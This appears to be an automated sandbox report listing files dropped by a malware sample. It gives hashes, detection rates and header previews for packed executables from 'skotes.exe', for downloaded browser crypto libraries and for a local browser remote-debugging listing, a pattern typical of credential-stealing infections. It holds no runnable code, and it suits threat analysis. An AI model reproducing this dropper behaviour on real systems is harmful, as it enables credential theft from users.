nm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e40a6930-e6e6-4db0-b546-ace54282b734.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46034
Entropy (8bit):	6.0879408230600065
Encrypted:	false
SSDEEP:	768:0MkbJrT8IeQc5d9/txuAhDO6vP6O+wY6MsnnvXL6Y65Dk+LCAo/Goup1Xl3jVzXx:0Mk1rT8H19/e6ewY1Y65LRo/hu3VlXrF
MD5:	14C3DF1C7B3F68683F9DC5AB423F25CF
SHA1:	F79E8C6D31BFB729A1DD6F16E26D71829412661B
SHA-256:	8FED7281F8D6A957E27F2F2264333E312379912A74427A10D940F47EA0AA5994
SHA-512:	7391C8E317D08380FF2F0FD9D0162FD6B5C0D40B441D1A1506B1326EDCD1485BDAB02A781E2E45D1BC883B93391A02980BA96D36BAF6AA1ACE5FEA976BFECDAA
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732320861"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e41a1d91-2022-4398-80c3-87032b941d8c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09077881558164
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMlwuF9hDO6vP6O+Gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh6Ltbz8hu3VlXr4CRo1
MD5:	E9DAD5C6066BED4C4C8229BC1B477BCC
SHA1:	65AFAC33E59C67CBDBB3893360EE46039F8C9EAB
SHA-256:	C5215C05DA5523E2330B16558DC67414A11BE68AEA1110D48E1AF9CA16E0C89E
SHA-512:	9854CD17EFA6B11C1250CF7561B38C8E985C09E6F4EB37C2DB1E293BDA04258A89DD52A29CEB5E3DBFF24C12151821BF01C41D7685944A8FD38B5C92C46E4273
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.840372354229312
Encrypted:	false
SSDEEP:	48:uiTrlKxrgx/xl9Il8uMMQ+kn3cZyD6rDGnk9zd1rc:mmY2x+q6rDd9U
MD5:	E0B499F95EDA33E333DBE4E6C7E687BB
SHA1:	18268AA1FE53C740946D568913E16CF9C5461451
SHA-256:	B918A628C03D3B4AE27659FECF407DB8782CB5DB7C027A3742F9D067A2EA30D8
SHA-512:	7DE157EDD6750690584C2E38ACB1DF0EC1BAB60534FA29EDDD5FBE52A6BA046AB351005265A273CCF91EA687F7FF30C0E4F978F64EBA2771BF386F56623D65BE
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.C.s.t.B.0.U.9.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.6.G.Q.0.V.U.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.000657695849592
Encrypted:	false
SSDEEP:	96:3Y2y815d5hkXRidJIVLF4Ambsa8LYi36k/a4lkPkGQDwTrJ:3d915d5hkXwDEF40YYda4lkPkxg
MD5:	4CF639D094C686712653E0B362122A76
SHA1:	0B85395A22B5147A9B542299533406E060934CE8
SHA-256:	BDD60FB94A44D13210122924E7F91644EF7B5F554E5EEA89288F4EAA45CE3FD9
SHA-512:	996E3B5AAD9D5BB960EC741D41510521195AB4094B63EFD7FD2BD7384F0EDFAB668670C49610DBE3C47C15C43FCE73E94FEBB4B12D996624E6E3F2E141F66F5A
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:."./.6.A.p.7.D.w.9.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.6.G.Q.0.V.U.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.8969237808791957
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xsxl9Il8uMKi/09pB4gldPmwF/5mdyy9f3bB/kBfGmMd/vc:a2Y2x/0rB4gXmwV5oftOZl
MD5:	1401C5FE37B2CC81C1787CBCBF3E9988
SHA1:	A07949FB3B9F42D3DA8578173B2FFDE5C868FF46
SHA-256:	7D9FBFB7AA10C1FBF31D3F929B5AE4360A851251B600910E49280AD39D846697
SHA-512:	38B525502006B0519EA724FF6E4A5228B9B80F9388278C077102F322F34BD864F941721459697A953871C1221B51AF85EDF6BDB113E75B4E6D9D3DC3D58EF31B
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".2.j.Y.c.H.A.5.c.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.6.G.Q.0.V.U.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.388752364304826
Encrypted:	false
SSDEEP:	96:6NnQCHQINnQwbQNNnQ2u1u9Q2UNnQCOldgEQCjNnQUQWNnQi9DDQiyNnQyNwQyEw:6NHN8NFu1+UNjOltjN9NR2NPVNm
MD5:	5875A8466D65562E9B31DD8E14603599
SHA1:	C6DC8B837A7C693935EDD4F785A02BB19DEBE303
SHA-256:	EECB40B6959AADF8CF06BDB3FCCFB3512E7363FB2DB9BED7BC1EA21AA43867FA
SHA-512:	84A68CFEC426338EE377321B82CA549BD4A6C4CE9BA217B56653BE1A5577195C39C5208A3C5A6EC0321047F75FC91C5C1D88B513C5FF5F03819B856CE6C78369
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/7F15A4B6948774460B185A7F716D3EBF",.. "id": "7F15A4B6948774460B185A7F716D3EBF",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/7F15A4B6948774460B185A7F716D3EBF"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/D11B259218D27CEC6FF668D928571E40",.. "id": "D11B259218D27CEC6FF668D928571E40",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/D11B259218D27CEC6FF668D928571E40"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1769472
Entropy (8bit):	7.949250678712165
Encrypted:	false
SSDEEP:	49152:FNudjp3W9Su9p1y9+Wup3FGoL0XcS+kPe:/unGwejH00kPe
MD5:	D54B0C8F7977A9E67948BAB655FB380E
SHA1:	0DDD15BF45362013FB845F4B6155AB40F039CAFE
SHA-256:	BBA96C9D29C016A476EB149B7BDA86EF059DC25246555F4212D95BE8F98E3859
SHA-512:	839C0605B497A6E38040DC2D6E261EE803D41149177B87928D29B9D7302C7A59E10732CDFFC2A990B016CDF8899A782F3F25307717709EE27B5F51928AFC4DDD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................$........g...........@...........................g.....G.....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... .p)...$......v..............@...vrtduuah.p...0N..b...x..............@...ggmsrgqs......g.....................@....taggant.0....g.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.354370128925626
Encrypted:	false
SSDEEP:	48:SfNaoQRTEQ8fNaoQDnmenmjQDnmufNaoQCfSQCKfNaoQ2M0UrU0U8Qo:6NnQRTEQoNnQDmemjQDmWNnQCfSQCSNe
MD5:	743F7B42C15E60BD56CD8F164C59BD1E
SHA1:	F1686671D92511C34F5B63E0642A0AF1C47F3F82
SHA-256:	F513F4B877E3DF31525FEABC7395221CA44DB04E5CB755DF47BA0FF4EE40ECC1
SHA-512:	358E4609968176C9CB86A0DA412CC2AAE60656D52C48B50C5C7B654829AA9B406360BDE30E5D40BC8F98083CAD73CD1BBDC19CC9ED437C870FEC7420ECDE1FEF
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/9798C2C34328BCAE975A0EE2225290FE",.. "id": "9798C2C34328BCAE975A0EE2225290FE",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/9798C2C34328BCAE975A0EE2225290FE"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/3A6242277B9307AE2434F1697F885411",.. "id": "3A6242277B9307AE2434F1697F885411",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/3A6242277B9307AE2434F1697F885411"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1920000
Entropy (8bit):	7.952356217996483
Encrypted:	false
SSDEEP:	49152:8vB0uAvFQWCY5RctB17VNEwvBLGqMUwUEor2Mp:+B0FQdmCBNV3puUhP
MD5:	066CBA2D7733BA1CF42FB68AB5E404A6
SHA1:	9242932A584DAD639C7366054592089D8B436714
SHA-256:	BEE7221ED233C2F0C6309199BEA905C595543FFF90790EF42A4985C9301A86E1
SHA-512:	93541A04D5A9AB45F5BFC8EFFAED08840DB76CAAB826CB2D85455481B541B9C6E243226CAA20234FF614AF7816021A0185A26317E89877D4212CC5566DAABDDE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................pL...........@...........................L......a....@.................................W...k.......H....................]L.............................8]L..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..+.........................@...ahcdwdtv.0...02.....................@...vxynmcwl.....`L......&..............@....taggant.0...pL.."...*..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1874432
Entropy (8bit):	7.94871037769217
Encrypted:	false
SSDEEP:	49152:DeLxvNRUU9/jd+TWB58kFAvuX6FPnRU2DNXwWk:DEvNiC/jd+k58kFh6dO2Zjk
MD5:	A60C25A4D738790AFD6DEE836C9A6370
SHA1:	9CF4E4CBB6959563F5157531870732E5F396D8E8
SHA-256:	4918ED5FFE96EF5018CAE368BCCC000A5D8F6E9E9E79CBA7A224551B8812F2F7
SHA-512:	3C5DB80A1DC60BE143B24583386095D2D64AA3818A55A38C285824BAD8CF9445C181952447C811DD4DC6771D5706FB68D3EDDF42D33215471A3081E92063BC80
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g.............................`J...........@...........................J.....t.....@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... ..*..........v..............@...cmkobnzi.....P0......x..............@...kevwmiqw.....PJ......t..............@....taggant.0...`J.."...x..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
